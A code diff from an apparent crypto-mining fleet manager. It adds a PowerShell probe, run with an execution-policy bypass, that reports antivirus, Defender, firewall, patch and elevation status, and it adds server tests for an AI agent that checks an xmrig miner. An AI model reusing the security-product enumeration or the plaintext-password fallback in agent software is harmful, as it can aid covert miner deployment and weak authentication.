never blocks the agent's stats loop even on machines with a busy WU stack. +const postureProbeScript = ` +$ErrorActionPreference = 'SilentlyContinue' +$p = [ordered]@{} + +# ── Defender ────────────────────────────────────────────────────────────────── +try { + $mp = Get-MpComputerStatus + if ($mp) { + $p.defender_enabled = [bool]$mp.AntivirusEnabled + $p.defender_rtp = [bool]$mp.RealTimeProtectionEnabled + } +} catch {} + +# ── AV products via WMI / CIM (catches third-party AV) ─────────────────────── +try { + $avList = @(Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct | + Select-Object -ExpandProperty displayName) + if ($avList.Count -gt 0) { $p.av_products = $avList } +} catch { + try { + $avList = @(Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | + Select-Object -ExpandProperty displayName) + if ($avList.Count -gt 0) { $p.av_products = $avList } + } catch {} +} + +# ── Firewall — per profile (T1686.003) ─────────────────────────────────────── +try { + foreach ($profile in (Get-NetFirewallProfile)) { + switch ($profile.Name) { + 'Domain' { $p.firewall_domain = [bool]$profile.Enabled } + 'Private' { $p.firewall_private = [bool]$profile.Enabled } + 'Public' { $p.firewall_public = [bool]$profile.Enabled } + } + } +} catch {} + +# ── SSH service ─────────────────────────────────────────────────────────────── +try { + $svc = Get-Service -Name sshd + $p.ssh_listening = ($svc.Status -eq 'Running') +} catch { $p.ssh_listening = $false } + +# ── Patch age — last installed hotfix ───────────────────────────────────────── +try { + $hf = Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 1 + if ($hf -and $hf.InstalledOn) { + $d = [datetime]$hf.InstalledOn + $days = [int]((Get-Date) - $d).TotalDays + if ($days -lt 0) { $days = 0 } + $p.last_patch = $d.ToString('yyyy-MM-dd') + $p.last_patch_days = $days + $p.patch_recent = ($days -le 30) + } +} catch {} + +# ── Pending updates — WUA COM, capped at 15 s ──────────────────────────────── +# Runs in a background job so a stuck WU stack cannot block the agent. +try { + $job = Start-Job -ScriptBlock { + $sess = New-Object -ComObject Microsoft.Update.Session + $searcher = $sess.CreateUpdateSearcher() + $result = $searcher.Search("IsInstalled=0 and IsHidden=0 and Type='Software'") + $result.Updates.Count + } + $done = Wait-Job $job -Timeout 15 + if ($done -and $done.State -eq 'Completed') { + $cnt = [int](Receive-Job $job) + $p.pending_updates = $cnt + } else { + $p.pending_updates = -1 # timed out or failed + Remove-Job $job -Force + } +} catch { $p.pending_updates = -1 } + +# ── Reboot pending — registry tripwires ────────────────────────────────────── +try { + $rp = $false + # Windows Update requested reboot + if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired') { + $rp = $true + } + # CBS / Feature Update pending + if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending') { + $rp = $true + } + # Session Manager pending file rename (common post-patch signal) + $pfro = (Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager' -Name PendingFileRenameOperations -ErrorAction SilentlyContinue) + if ($pfro -and $pfro.PendingFileRenameOperations) { $rp = $true } + $p.reboot_pending = $rp +} catch { $p.reboot_pending = $false } + +# ── Elevation ───────────────────────────────────────────────────────────────── +try { + $id = [Security.Principal.WindowsIdentity]::GetCurrent() + $pr = New-Object Security.Principal.WindowsPrincipal($id) + $p.agent_elevated = $pr.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) +} catch { $p.agent_elevated = $false } + +$p.agent_service_ok = $true +$p | ConvertTo-Json -Compress +` + +func collectPosture() *PostureReport { + out, err := exec.Command( + "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", + postureProbeScript, + ).CombinedOutput() + if err != nil { + return fallbackPosture() + } + + raw := strings.TrimSpace(string(out)) + // PowerShell may emit warnings before the JSON; find the last '{'. + if idx := strings.LastIndex(raw, "{"); idx > 0 { + raw = raw[idx:] + } + + var m map[string]interface{} + if err := json.Unmarshal([]byte(raw), &m); err != nil { + return fallbackPosture() + } + + r := &PostureReport{ + DefenderEnabled: jsonBool(m, "defender_enabled"), + DefenderRTP: jsonBool(m, "defender_rtp"), + AVProducts: jsonStringSlice(m, "av_products"), + FirewallDomain: jsonBool(m, "firewall_domain"), + FirewallPrivate: jsonBool(m, "firewall_private"), + FirewallPublic: jsonBool(m, "firewall_public"), + SSHListening: jsonBool(m, "ssh_listening"), + LastPatch: jsonString(m, "last_patch"), + LastPatchDays: jsonInt(m, "last_patch_days"), + PatchRecent: jsonBool(m, "patch_recent"), + PendingUpdates: jsonInt(m, "pending_updates"), + RebootPending: jsonBool(m, "reboot_pending"), + AgentElevated: jsonBool(m, "agent_elevated"), + AgentServiceOK: boolPtr(true), + } + r.PostureScore = computePostureScore(r) + return r +} + +func fallbackPosture() *PostureReport { + ssh := probeSSH() + r := &PostureReport{SSHListening: &ssh, AgentServiceOK: boolPtr(true)} + r.PostureScore = computePostureScore(r) + return r +} + +// ── JSON field helpers ──────────────────────────────────────────────────────── + +func jsonBool(m map[string]interface{}, key string) *bool { + v, ok := m[key] + if !ok { + return nil + } + switch t := v.(type) { + case bool: + return &t + case string: + b := strings.EqualFold(t, "true") || t == "1" + return &b + } + return nil +} + +func jsonInt(m map[string]interface{}, key string) *int { + v, ok := m[key] + if !ok { + return nil + } + switch t := v.(type) { + case float64: + n := int(t) + return &n + case int: + return &t + case string: + if n, err := strconv.Atoi(t); err == nil { + return &n + } + } + return nil +} + +func jsonString(m map[string]interface{}, key string) *string { + v, ok := m[key] + if !ok { + return nil + } + if s, ok := v.(string); ok && s != "" { + return &s + } + return nil +} + +func jsonStringSlice(m map[string]interface{}, key string) []string { + v, ok := m[key] + if !ok { + return nil + } + switch t := v.(type) { + case string: + if t != "" { + return []string{t} + } + case []interface{}: + var out []string + for _, item := range t { + if s, ok := item.(string); ok && s != "" { + out = append(out, s) + } + } + return out + } + return nil +} diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 6ad8161..3a317f8 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -75,7 +75,21 @@ type StatsPayload struct { CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` - SSHAvailable *bool `json:"ssh_available,omitempty"` + + // SSH + posture + SSHAvailable *bool `json:"ssh_available,omitempty"` + PostureScore *int `json:"posture_score,omitempty"` + DefenderEnabled *bool `json:"defender_enabled,omitempty"` + DefenderRTP *bool `json:"defender_rtp,omitempty"` + AVProducts []string `json:"av_products,omitempty"` + FirewallDomain *bool `json:"firewall_domain,omitempty"` + FirewallPrivate *bool `json:"firewall_private,omitempty"` + FirewallPublic *bool `json:"firewall_public,omitempty"` + LastPatchDays *int `json:"last_patch_days,omitempty"` + LastPatch *string `json:"last_patch,omitempty"` + PendingUpdates *int `json:"pending_updates,omitempty"` + RebootPending *bool `json:"reboot_pending,omitempty"` + AgentElevated *bool `json:"agent_elevated,omitempty"` } type ShareResult struct { diff --git a/server/internal/api/ai_handler_test.go b/server/internal/api/ai_handler_test.go index 6345992..525b573 100644 --- a/server/internal/api/ai_handler_test.go +++ b/server/internal/api/ai_handler_test.go @@ -3,22 +3,278 @@ package api import ( "bytes" "encoding/json" + "errors" + "io" "net/http" "net/http/httptest" + "strings" "testing" + "time" "crypto-miner-server/internal/db" "crypto-miner-server/internal/ollama" ) -func TestHandleReportSingleAndArray(t *testing.T) { +// Numeric constants from ai_handler.go (guard against silent drift). +const ( + aiReportBufferCap = 1000 + aiHeartbeatIntervalSeconds = 60 + aiReasoningTruncateLen = 120 + aiReportOutputTruncateLen = 200 + aiEngineIdleTTL = time.Hour + aiActivityIdleTTL = 24 * time.Hour + aiCleanupTickerInterval = 10 * time.Minute +) + +func newTestAIHandler(t *testing.T) *AIHandler { + t.Helper() database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } - defer database.Close() + t.Cleanup(func() { database.Close() }) + return NewAIHandler(database) +} - h := NewAIHandler(database) +func mockOllamaChatServer(t *testing.T, content string, status int) *httptest.Server { + t.Helper() + if status == 0 { + status = http.StatusOK + } + return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/api/chat" { + http.NotFound(w, r) + return + } + if r.Method != http.MethodPost { + http.Error(w, "method", http.StatusMethodNotAllowed) + return + } + w.WriteHeader(status) + if status != http.StatusOK { + _, _ = w.Write([]byte("ollama down")) + return + } + payload := map[string]interface{}{ + "message": map[string]string{"content": content}, + "done": true, + } + _ = json.NewEncoder(w).Encode(payload) + })) +} + +func ollamaDecideContent(reasoning string, tools []ollama.ToolCall) string { + resp := ollama.DecideResponse{Reasoning: reasoning, ToolCalls: tools} + b, _ := json.Marshal(resp) + return string(b) +} + +func TestAIConstants(t *testing.T) { + if aiReportBufferCap != 1000 || aiHeartbeatIntervalSeconds != 60 || + aiReasoningTruncateLen != 120 || aiReportOutputTruncateLen != 200 || + aiEngineIdleTTL != time.Hour || aiActivityIdleTTL != 24*time.Hour || + aiCleanupTickerInterval != 10*time.Minute { + t.Fatal("ai_handler constants drifted from documented values") + } +} + +func TestAINewAIHandler(t *testing.T) { + h := newTestAIHandler(t) + if h.db == nil || h.engines == nil || h.activity == nil { + t.Fatal("NewAIHandler did not initialize fields") + } + if cap(h.reports) != aiReportBufferCap { + t.Fatalf("reports slice cap want %d got %d", aiReportBufferCap, cap(h.reports)) + } + if len(h.ActivitySnapshot()) != 0 { + t.Fatal("expected empty activity snapshot") + } +} + +func TestAITruncateStr(t *testing.T) { + if truncateStr("short", aiReasoningTruncateLen) != "short" { + t.Fatal("short string should be unchanged") + } + long := strings.Repeat("x", aiReasoningTruncateLen+10) + out := truncateStr(long, aiReasoningTruncateLen) + if len(out) != aiReasoningTruncateLen+3 || !strings.HasSuffix(out, "...") { + t.Fatalf("truncate want len %d with ellipsis, got %q", aiReasoningTruncateLen+3, out) + } + if truncateStr("", 5) != "" { + t.Fatal("empty string") + } + if truncateStr("exact", 5) != "exact" { + t.Fatal("exact length boundary") + } +} + +func TestAISetEngineForAgentAndGetRemove(t *testing.T) { + h := newTestAIHandler(t) + srv := mockOllamaChatServer(t, ollamaDecideContent("ok", nil), http.StatusOK) + defer srv.Close() + + h.SetEngineForAgent("agent-a", srv.URL, "test-model") + if h.GetEngine("agent-a") == nil { + t.Fatal("GetEngine returned nil after SetEngineForAgent") + } + h.RemoveEngine("agent-a") + if h.GetEngine("agent-a") != nil { + t.Fatal("GetEngine should be nil after RemoveEngine") + } +} + +func TestAISetEngineForAgentDefaults(t *testing.T) { + h := newTestAIHandler(t) + var gotModel string + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + var req struct { + Model string `json:"model"` + } + _ = json.NewDecoder(r.Body).Decode(&req) + gotModel = req.Model + w.WriteHeader(http.StatusOK) + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "message": map[string]string{"content": ollamaDecideContent("ok", nil)}, + "done": true, + }) + })) + defer srv.Close() + + h.SetEngineForAgent("agent-defaults", srv.URL, "") + eng := h.GetEngine("agent-defaults") + if eng == nil { + t.Fatal("engine missing") + } + _, err := eng.Decide(&ollama.AgentState{AgentID: "agent-defaults"}) + if err != nil { + t.Fatalf("Decide: %v", err) + } + if gotModel != "llama3.2" { + t.Fatalf("default model want llama3.2 got %q", gotModel) + } +} + +func TestAIHandleDecideErrors(t *testing.T) { + h := newTestAIHandler(t) + + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", strings.NewReader("{")) + w := httptest.NewRecorder() + h.HandleDecide(w, req) + if w.Code != http.StatusBadRequest { + t.Fatalf("invalid JSON status %d", w.Code) + } + + req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", strings.NewReader(`{"worker_name":"x"}`)) + w = httptest.NewRecorder() + h.HandleDecide(w, req) + if w.Code != http.StatusBadRequest || !strings.Contains(w.Body.String(), "agent_id") { + t.Fatalf("missing agent_id status %d body %s", w.Code, w.Body.String()) + } +} + +func TestAIHandleDecideSuccess(t *testing.T) { + h := newTestAIHandler(t) + content := ollamaDecideContent("all good", []ollama.ToolCall{{ + Tool: "check_miner", Args: map[string]string{"process_name": "xmrig"}, Reason: "verify", + }}) + srv := mockOllamaChatServer(t, content, http.StatusOK) + defer srv.Close() + + body, _ := json.Marshal(map[string]interface{}{ + "agent_id": "agent-decide-ok", + "ollama_endpoint": srv.URL, + "model": "test-model", + "hostname": "host1", + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.HandleDecide(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status %d body %s", w.Code, w.Body.String()) + } + var resp ollama.DecideResponse + if err := json.NewDecoder(w.Body).Decode(&resp); err != nil { + t.Fatal(err) + } + if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "check_miner" { + t.Fatalf("unexpected tool calls: %+v", resp.ToolCalls) + } + + snap := h.ActivitySnapshot() + var found bool + for _, e := range snap { + if e.AgentID == "agent-decide-ok" && e.LastAction == "check_miner" && e.ToolCallCount == 1 { + found = true + if len(e.LastReasoning) > aiReasoningTruncateLen+3 { + t.Fatalf("reasoning should be truncated to %d", aiReasoningTruncateLen) + } + } + } + if !found { + t.Fatalf("activity not recorded: %+v", snap) + } +} + +func TestAIHandleDecideOllamaFailureFallback(t *testing.T) { + h := newTestAIHandler(t) + srv := mockOllamaChatServer(t, "", http.StatusInternalServerError) + defer srv.Close() + + body, _ := json.Marshal(map[string]interface{}{ + "agent_id": "agent-decide-fail", + "ollama_endpoint": srv.URL, + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.HandleDecide(w, req) + if w.Code != http.StatusOK { + t.Fatalf("fallback should return 200, got %d", w.Code) + } + var out map[string]interface{} + if err := json.NewDecoder(w.Body).Decode(&out); err != nil { + t.Fatal(err) + } + if out["error"] == nil { + t.Fatal("expected error field") + } + tools, ok := out["tool_calls"].([]interface{}) + if !ok || len(tools) != 1 { + t.Fatalf("expected sleep fallback tool_calls, got %v", out["tool_calls"]) + } + first, _ := tools[0].(map[string]interface{}) + if first["tool"] != "sleep" { + t.Fatalf("expected sleep tool, got %v", first["tool"]) + } + args, _ := first["args"].(map[string]interface{}) + if args["seconds"] != "120" { + t.Fatalf("fallback sleep seconds want 120 got %v", args["seconds"]) + } +} + +func TestAIHandleDecideCreatesEngineOnFirstRequest(t *testing.T) { + h := newTestAIHandler(t) + content := ollamaDecideContent("idle", nil) + srv := mockOllamaChatServer(t, content, http.StatusOK) + defer srv.Close() + + body, _ := json.Marshal(map[string]interface{}{ + "agent_id": "agent-new", + "ollama_endpoint": srv.URL, + "model": "m1", + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.HandleDecide(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status %d %s", w.Code, w.Body.String()) + } + if h.GetEngine("agent-new") == nil { + t.Fatal("engine should exist after first decide") + } +} + +func TestAIHandleReportSingleAndArray(t *testing.T) { + h := newTestAIHandler(t) single := ollama.Report{ AgentID: "agent-1", @@ -54,6 +310,166 @@ func TestHandleReportSingleAndArray(t *testing.T) { } } +func TestAIHandleReportErrors(t *testing.T) { + h := newTestAIHandler(t) + + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", errReader{}) + w := httptest.NewRecorder() + h.HandleReport(w, req) + if w.Code != http.StatusBadRequest { + t.Fatalf("read error status %d", w.Code) + } + + req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", strings.NewReader("not-json")) + w = httptest.NewRecorder() + h.HandleReport(w, req) + if w.Code != http.StatusBadRequest { + t.Fatalf("invalid json status %d", w.Code) + } +} + +func TestAIHandleReportBufferCap(t *testing.T) { + h := newTestAIHandler(t) + for i := 0; i < aiReportBufferCap+5; i++ { + r := ollama.Report{AgentID: "cap-agent", Tool: "sleep", Success: true} + b, _ := json.Marshal(r) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", bytes.NewReader(b)) + w := httptest.NewRecorder() + h.HandleReport(w, req) + if w.Code != http.StatusOK { + t.Fatalf("report %d status %d", i, w.Code) + } + } + h.mu.RLock() + n := len(h.reports) + h.mu.RUnlock() + if n != aiReportBufferCap { + t.Fatalf("reports len want %d got %d", aiReportBufferCap, n) + } +} + +func TestAIHandleReportEventBroadcaster(t *testing.T) { + h := newTestAIHandler(t) + var events []AIActivityEntry + h.SetEventBroadcaster(func(e AIActivityEntry) { + events = append(events, e) + }) + + r := ollama.Report{AgentID: "evt-agent", Tool: "upload_log", Success: true, Output: "done"} + b, _ := json.Marshal(r) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", bytes.NewReader(b)) + w := httptest.NewRecorder() + h.HandleReport(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status %d", w.Code) + } + if len(events) != 1 || events[0].AgentID != "evt-agent" || events[0].LastTool != "upload_log" { + t.Fatalf("broadcaster events: %+v", events) + } + var resp map[string]interface{} + _ = json.NewDecoder(bytes.NewReader(w.Body.Bytes())).Decode(&resp) + if resp["received"].(float64) != 1 || resp["success"] != true { + t.Fatalf("response: %v", resp) + } +} + +func TestAIHandleHeartbeat(t *testing.T) { + h := newTestAIHandler(t) + + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", strings.NewReader("{")) + w := httptest.NewRecorder() + h.HandleHeartbeat(w, req) + if w.Code != http.StatusBadRequest { + t.Fatalf("invalid JSON status %d", w.Code) + } + + req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", strings.NewReader(`{"status":"alive"}`)) + w = httptest.NewRecorder() + h.HandleHeartbeat(w, req) + if w.Code != http.StatusBadRequest { + t.Fatalf("missing agent_id status %d", w.Code) + } + + body, _ := json.Marshal(heartbeatRequest{AgentID: "hb-agent", Status: "alive", Message: "ok"}) + req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", bytes.NewReader(body)) + w = httptest.NewRecorder() + h.HandleHeartbeat(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status %d %s", w.Code, w.Body.String()) + } + var out map[string]interface{} + if err := json.NewDecoder(w.Body).Decode(&out); err != nil { + t.Fatal(err) + } + if out["success"] != true { + t.Fatalf("success: %v", out["success"]) + } + interval, ok := out["interval"].(float64) + if !ok || int(interval) != aiHeartbeatIntervalSeconds { + t.Fatalf("interval want %d got %v", aiHeartbeatIntervalSeconds, out["interval"]) + } +} + +func TestAIRecordActivityMergeAndBroadcast(t *testing.T) { + h := newTestAIHandler(t) + now := time.Now() + h.mu.Lock() + h.activity["merge-agent"] = AIActivityEntry{ + AgentID: "merge-agent", + LastReportAt: now, + LastSuccess: true, + ToolCallCount: 3, + } + h.mu.Unlock() + + var broadcasted AIActivityEntry + h.SetEventBroadcaster(func(e AIActivityEntry) { + broadcasted = e + }) + + h.recordActivity(AIActivityEntry{ + AgentID: "merge-agent", + LastDecideAt: now.Add(time.Minute), + LastAction: "sleep", + LastTool: "sleep", + LastReasoning: "rest", + ToolCallCount: 0, // zero must not wipe previous count + }) + + h.mu.RLock() + prev := h.activity["merge-agent"] + h.mu.RUnlock() + if prev.ToolCallCount != 3 { + t.Fatalf("zero ToolCallCount should not clear prior count, got %d", prev.ToolCallCount) + } + if prev.LastAction != "sleep" || prev.LastReasoning != "rest" { + t.Fatalf("merged activity: %+v", prev) + } + if broadcasted.AgentID != "merge-agent" { + t.Fatalf("broadcast: %+v", broadcasted) + } +} + +func TestAIActivitySnapshot(t *testing.T) { + h := newTestAIHandler(t) + h.mu.Lock() + h.activity["a"] = AIActivityEntry{AgentID: "a"} + h.activity["b"] = AIActivityEntry{AgentID: "b"} + h.mu.Unlock() + snap := h.ActivitySnapshot() + if len(snap) != 2 { + t.Fatalf("want 2 entries got %d", len(snap)) + } +} + +type errReader struct{} + +func (errReader) Read([]byte) (int, error) { return 0, errors.New("read fail") } +func (errReader) Close() error { return nil } + +// errReader must satisfy io.ReadCloser for request body +var _ io.ReadCloser = errReader{} + func TestEstimateXMRPerDay(t *testing.T) { out := EstimateXMRPerDay(3_000_000_000) xmr, ok := out["xmr_per_day"].(float64) diff --git a/server/internal/api/auth_test.go b/server/internal/api/auth_test.go new file mode 100644 index 0000000..f903f61 --- /dev/null +++ b/server/internal/api/auth_test.go @@ -0,0 +1,72 @@ +package api + +import ( + "testing" +) + +func TestCheckPasswordBcryptAndLegacy(t *testing.T) { + hashed, err := hashPassword("secret123") + if err != nil { + t.Fatal(err) + } + if !checkPassword(hashed, "secret123") { + t.Fatal("bcrypt hash should match correct password") + } + if checkPassword(hashed, "wrong") { + t.Fatal("bcrypt hash should reject wrong password") + } + if !checkPassword("plainlegacy", "plainlegacy") { + t.Fatal("legacy plain-text should match") + } + if checkPassword("plainlegacy", "other") { + t.Fatal("legacy plain-text should reject mismatch") + } +} + +func TestIsBcryptHash(t *testing.T) { + h, _ := hashPassword("x") + if !isBcryptHash(h) { + t.Fatal("expected bcrypt prefix") + } + if isBcryptHash("plaintext") { + t.Fatal("plaintext should not look like bcrypt") + } +} + +func TestAuthCacheHitAndMiss(t *testing.T) { + user, pass := "cacheuser", "cachepass" + if authCacheHit(user, pass) { + t.Fatal("cache should miss before set") + } + authCacheSet(user, pass) + if !authCacheHit(user, pass) { + t.Fatal("cache should hit after set") + } + if authCacheHit(user, "wrong") { + t.Fatal("different password should miss") + } +} + +func TestGenerateRandomPasswordLength(t *testing.T) { + pw := generateRandomPassword() + if len(pw) != 20 { + t.Fatalf("expected 20-char hex password, got len %d (%q)", len(pw), pw) + } +} + +func TestAgentForgeConfigDefaults(t *testing.T) { + cfg := AgentForgeConfig{} + if cfg.poolHostOrDefault("fallback.host") != "fallback.host" { + t.Fatal("empty pool host should use fallback") + } + if cfg.poolPortOrDefault(3333) != 3333 { + t.Fatal("zero pool port should use fallback") + } + cfg = AgentForgeConfig{PoolHost: "pool.example.com", PoolPort: 443} + if cfg.poolHostOrDefault("fallback") != "pool.example.com" { + t.Fatal("explicit pool host should win") + } + if cfg.poolPortOrDefault(3333) != 443 { + t.Fatal("explicit pool port should win") + } +} diff --git a/server/internal/api/handlers_test.go b/server/internal/api/handlers_test.go new file mode 100644 index 0000000..21baa21 --- /dev/null +++ b/server/internal/api/handlers_test.go @@ -0,0 +1,91 @@ +package api + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "crypto-miner-server/internal/db" + "github.com/go-chi/chi/v5" +) + +func newTestHandler(t *testing.T) *Handler { + t.Helper() + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + return NewHandler(database) +} + +func TestHealthCheckReturnsOK(t *testing.T) { + h := newTestHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil) + rec := httptest.NewRecorder() + h.HealthCheck(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d", rec.Code) + } + var body map[string]string + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if body["status"] != "ok" { + t.Fatalf("unexpected body: %v", body) + } +} + +func TestListAgentsEmptyArray(t *testing.T) { + h := newTestHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil) + rec := httptest.NewRecorder() + h.ListAgents(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } + if rec.Body.String() != "[]\n" && rec.Body.String() != "[]" { + var agents []json.RawMessage + if err := json.Unmarshal(rec.Body.Bytes(), &agents); err != nil { + t.Fatal(err) + } + if len(agents) != 0 { + t.Fatalf("expected empty list, got %d", len(agents)) + } + } +} + +func TestGetAgentStatsLimitCap(t *testing.T) { + h := newTestHandler(t) + req := httptest.NewRequest(http.MethodGet, "/agents/missing-agent/stats?limit=5000", nil) + rec := httptest.NewRecorder() + r := chi.NewRouter() + r.Get("/agents/{id}/stats", h.GetAgentStats) + r.ServeHTTP(rec, req) + if rec.Code == http.StatusInternalServerError { + t.Fatalf("limit cap caused 500: %s", rec.Body.String()) + } +} + +func TestGetRecentSharesLimitCap(t *testing.T) { + h := newTestHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/shares?limit=999999", nil) + rec := httptest.NewRecorder() + h.GetRecentShares(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } +} + +func TestGetAgentNotFound(t *testing.T) { + h := newTestHandler(t) + req := httptest.NewRequest(http.MethodGet, "/agents/nope", nil) + rec := httptest.NewRecorder() + r := chi.NewRouter() + r.Get("/agents/{id}", h.GetAgent) + r.ServeHTTP(rec, req) + if rec.Code != http.StatusNotFound { + t.Fatalf("expected 404, got %d", rec.Code) + } +} diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index a27a54c..87f3ca4 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -29,9 +29,26 @@ func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error { return nil } +const testAuthUser = "testuser" +const testAuthPass = "testpass" + +func seedTestUsers(t *testing.T, dataDir string) { + t.Helper() + usersPath := filepath.Join(dataDir, "users.json") + data, err := json.Marshal(map[string]string{testAuthUser: testAuthPass}) + if err != nil { + t.Fatalf("marshal users: %v", err) + } + if err := os.WriteFile(usersPath, data, 0600); err != nil { + t.Fatalf("write users.json: %v", err) + } +} + func newTestRouter(t *testing.T) (http.Handler, string) { t.Helper() dataDir := t.TempDir() + seedTestUsers(t, dataDir) + database, err := db.New(dataDir) if err != nil { t.Fatalf("db: %v", err) @@ -84,7 +101,7 @@ func TestConfigRequiresAuth(t *testing.T) { func TestConfigWithValidAuth(t *testing.T) { router, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil) - req.SetBasicAuth("drjones", "czapiewski") + req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { @@ -105,7 +122,7 @@ func TestAgentsListRequiresAuth(t *testing.T) { func TestAgentsListAuthedEmpty(t *testing.T) { router, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil) - req.SetBasicAuth("drjones", "czapiewski") + req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { @@ -164,7 +181,7 @@ func indexOf(s, sub string) int { func TestStatsLimitCapped(t *testing.T) { router, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil) - req.SetBasicAuth("drjones", "czapiewski") + req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) // Agent may not exist — 404 is fine; we only care handler doesn't 500 on huge limit diff --git a/server/internal/api/server_info_test.go b/server/internal/api/server_info_test.go new file mode 100644 index 0000000..e3d5b0f --- /dev/null +++ b/server/internal/api/server_info_test.go @@ -0,0 +1,86 @@ +package api + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" +) + +func TestParsePort(t *testing.T) { + tests := []struct { + in string + want int + }{ + {"8989", 8989}, + {"80", 80}, + {"abc", 8989}, + {"", 8989}, + {"0", 8989}, + } + for _, tc := range tests { + if got := parsePort(tc.in); got != tc.want { + t.Fatalf("parsePort(%q) = %d, want %d", tc.in, got, tc.want) + } + } +} + +func TestIsLoopbackHost(t *testing.T) { + if !isLoopbackHost("localhost") { + t.Fatal("localhost should be loopback") + } + if !isLoopbackHost("127.0.0.1") { + t.Fatal("127.0.0.1 should be loopback") + } + if isLoopbackHost("192.168.1.1") { + t.Fatal("192.168.1.1 should not be loopback") + } +} + +func TestItoa(t *testing.T) { + if itoa(8989) != "8989" { + t.Fatalf("itoa(8989) = %q", itoa(8989)) + } + if itoa(0) != "0" { + t.Fatalf("itoa(0) = %q", itoa(0)) + } +} + +func TestGetServerInfoJSON(t *testing.T) { + req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil) + req.Host = "localhost:8989" + rec := httptest.NewRecorder() + GetServerInfo(rec, req, "") + + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } + var info ServerInfo + if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil { + t.Fatal(err) + } + if info.Port != 8989 { + t.Fatalf("port = %d, want 8989", info.Port) + } + if info.WebSocketURL == "" || info.SuggestedURL == "" { + t.Fatalf("missing URLs: %+v", info) + } +} + +func TestGetServerInfoPublicURLOverride(t *testing.T) { + req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil) + req.Host = "localhost:8989" + rec := httptest.NewRecorder() + GetServerInfo(rec, req, "https://forge.example.com:443") + + var info ServerInfo + if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil { + t.Fatal(err) + } + if info.SuggestedURL != "https://forge.example.com:443" { + t.Fatalf("override not applied: %q", info.SuggestedURL) + } + if info.WebSocketURL != "wss://forge.example.com:443/ws/agent" { + t.Fatalf("ws url = %q", info.WebSocketURL) + } +} diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 2137c0a..d567276 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -519,8 +519,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` - SSHAvailable *bool `json:"ssh_available,omitempty"` - } + 